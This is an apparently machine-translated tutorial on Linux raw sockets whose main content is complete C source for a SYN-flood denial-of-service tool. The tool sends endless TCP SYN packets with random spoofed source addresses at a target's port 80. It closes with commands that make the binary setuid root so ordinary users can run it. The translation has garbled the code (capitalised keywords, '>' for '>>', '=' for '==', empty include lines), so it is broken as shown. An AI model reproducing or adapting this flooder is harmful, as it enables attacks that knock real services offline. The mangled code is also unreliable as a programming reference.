Network Programming in Linux-raw socket (1)
Http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml
We have learned two sockets (sock_stream, sock_dragm) in the network program. In this chapter, we will learn another socket-the original socket (sock_raw ). The original socket can be used to compile functions that cannot be implemented by TCP and UDP sockets. Note that the original socket can only be created by a person with root permissions.
Create original socket
Int sockfd (af_inet, sock_raw, Protocol)
You can create an original socket. based on different protocol types, we can create different types of original sockets, such as ipproto_icmp, ipproto_tcp, ipproto_udp, and so on. for details, refer to the following example to describe how to create and use the original socket.
An instance of the original socket
Do you still remember what dos means? Here we will write a small program that implements dos. The following is the source code of the program.
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define destport 80/* port to be attacked (Web )*/
# Define localport 8888
Void send_tcp (INT sockfd, struct sockaddr_in * ADDR );
Unsigned short check_sum (unsigned short * ADDR, int Len );
Int main (INT argc, char ** argv)
{
Int sockfd;
Struct sockaddr_in ADDR;
Struct hostent * Host;
Int on = 1;
If (argc! = 2)
{
Fprintf (stderr, "Usage: % s hostnamena", argv [0]);
Exit (1 );
}
Bzero (& ADDR, sizeof (struct sockaddr_in ));
ADDR. sin_family = af_inet;
ADDR. sin_port = htons (destport );
If (inet_aton (argv [1], & ADDR. sin_addr) = 0)
{
Host = gethostbyname (argv [1]);
If (host = NULL)
{
Fprintf (stderr, "hostname error: % SNA", hstrerror (h_errno ));
Exit (1 );
}
ADDR. sin_addr = * (struct in_addr *) (host-> h_addr_list [0]);
}
/***** Use ipproto_tcp to create a TCP original socket ****/
Sockfd = socket (af_inet, sock_raw, ipproto_tcp );
If (sockfd <0)
{
Fprintf (stderr, "socket error: % SNA", strerror (errno ));
Exit (1 );
}
/******** Set the IP packet format to inform the system kernel module that IP packets are entered by ourselves ***/
Setsockopt (sockfd, ipproto_ip, ip_hdrincl, & on, sizeof (on ));
/***** There is no way to use the original socket *********/
Setuid (getpid ());
/******** Sent a bomb !!!! ****/
Send_tcp (sockfd, & ADDR );
}
/******* Bomb sending implementation *********/
Void send_tcp (INT sockfd, struct sockaddr_in * ADDR)
{
Char buffer [100];/***** used to place our data packets ****/
Struct IP * IP;
Struct tcphdr * TCP;
Int head_len;
/****** Our data packet does not actually have any content, so the length is the length of two structures ***/
Head_len = sizeof (struct IP) + sizeof (struct tcphdr );
Bzero (buffer, 100 );
/******* Fill in the IP packet header. Do you still remember the IP Header Format? ******/
IP = (struct IP *) buffer;
IP-> ip_v = ipversion;/** the general version is 4 **/
IP-> ip_hl = sizeof (struct IP)> 2;/** length of the IP packet header **/
IP-> ip_tos = 0;/** service type **/
IP-> ip_len = htons (head_len);/** IP packet length **/
IP-> ip_id = 0;/** let the system enter it **/
IP-> ip_off = 0;/** same as above, save time **/
IP-> ip_ttl = maxttl;/** maximum time 255 **/
IP-> ip_p = ipproto_tcp;/** we want to send a TCP packet **/
IP-> ip_sum = 0;/** checksum for the system **/
IP-> ip_dst = ADDR-> sin_addr;/** attack object **/
/****** Start to enter TCP data packets *****/
TCP = (struct tcphdr *) (buffer + sizeof (struct IP ));
TCP-> source = htons (localport );
TCP-> DEST = ADDR-> sin_port;/** destination port **/
TCP-> seq = random ();
TCP-> ack_seq = 0;
TCP-> doff = 5;
TCP-> SYN = 1;/** I want to establish a connection **/
TCP-> check = 0;
/** Okay. Everything is ready. server. Are you ready ?? Performance_^ **/
While (1)
{
/** You don't know where I came from. Please wait! **/
IP-> ip_src.s_addr = random ();
/** It doesn't mean much for the system to do anything. Let's verify the header by ourselves */
/** The following is optional */
TCP-> check = check_sum (unsigned short *) TCP,
Sizeof (struct tcphdr ));
Sendto (sockfd, buffer, head_len, 0, ADDR, sizeof (struct sockaddr_in ));
}
}
/* The following is the first checksum algorithm, which steals others */
Unsigned short check_sum (unsigned short * ADDR, int Len)
{
Register int nleft = Len;
Register int sum = 0;
Register short * w = ADDR;
Short answer = 0;
While (nleft> 1)
{
Sum + = * w ++;
Nleft-= 2;
}
If (nleft = 1)
{
* (Unsigned char *) (& answer) = * (unsigned char *) W;
Sum + = answer;
}
Sum = (sum> 16) + (sum & 0 xFFFF );
Sum + = (sum> 16 );
Answer = ~ SUM;
Return (answer );
}
Compile it and use localhost for an experiment to see what the results are. (never try someone else ). to allow normal users to run this program, we should change the owner of this program to root and set the setuid bit:
[Root @ Hoyt/root] # chown root DoS
[Root @ Hoyt/root] # chmod + s DoS